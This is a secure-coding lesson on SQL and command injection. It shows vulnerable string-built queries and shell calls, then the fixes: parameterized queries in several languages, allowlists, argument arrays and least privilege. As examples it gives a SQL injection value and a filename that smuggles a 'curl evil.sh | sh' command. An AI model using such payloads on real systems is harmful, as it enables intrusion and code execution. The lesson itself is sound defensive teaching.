Lesson 2 of 9 · 20m
Injection: parameters for SQL, argument arrays for commands
Why string-built queries and shell commands get owned, and the one fix that works in every language.
Injection happens when data is mixed into code: a SQL statement, a shell command, an LDAP filter, a template. The attacker's input stops being data and starts being instructions.
# Vulnerable: the input becomes part of the SQL text
cur.execute(f"SELECT * FROM users WHERE email = '{email}'")
# email = "' OR '1'='1" → returns every userEscaping by hand is fragile (character sets, numeric contexts, LIKE wildcards). The fix is parameterized queries: the SQL text and the values travel separately, so the database never parses a value as SQL.
cur.execute("SELECT * FROM users WHERE email = %s", (email,)) # psycopgawait pool.query("SELECT * FROM users WHERE email = $1", [email]); // node-postgres$st = $pdo->prepare("SELECT * FROM users WHERE email = ?"); // PDO
$st->execute([$email]);PreparedStatement st = conn.prepareStatement("SELECT * FROM users WHERE email = ?");
st.setString(1, email);What parameters can't do
Placeholders work for values, not identifiers. A user-chosen sort column or table name must come from an allowlist:
const SORTS = { newest: "created_at DESC", top: "score DESC" };
const order = SORTS[req.query.sort] ?? SORTS.newest; // never interpolate req.query.sortORMs help, but every ORM has a raw-SQL escape hatch (raw(), sql.unsafe, whereRaw). Grep for them in review.
Command injection
os.system("convert " + filename + " out.png") # filename = "x.png; curl evil.sh | sh"Don't call a shell. Pass an argument array so no shell ever parses the string, and put -- before user values so they can't be read as options:
subprocess.run(["convert", "--", filename, "out.png"], check=True, timeout=10)execFile("convert", ["--", filename, "out.png"]); // not exec("convert " + filename)new ProcessBuilder("convert", "--", filename, "out.png").start();In PHP prefer a library over exec; if you must, wrap each argument with escapeshellarg().
Least privilege backs it up: the app's database user shouldn't own the schema or be able to DROP, and the process running your converter shouldn't be root.
Practice: Parameterize the Query.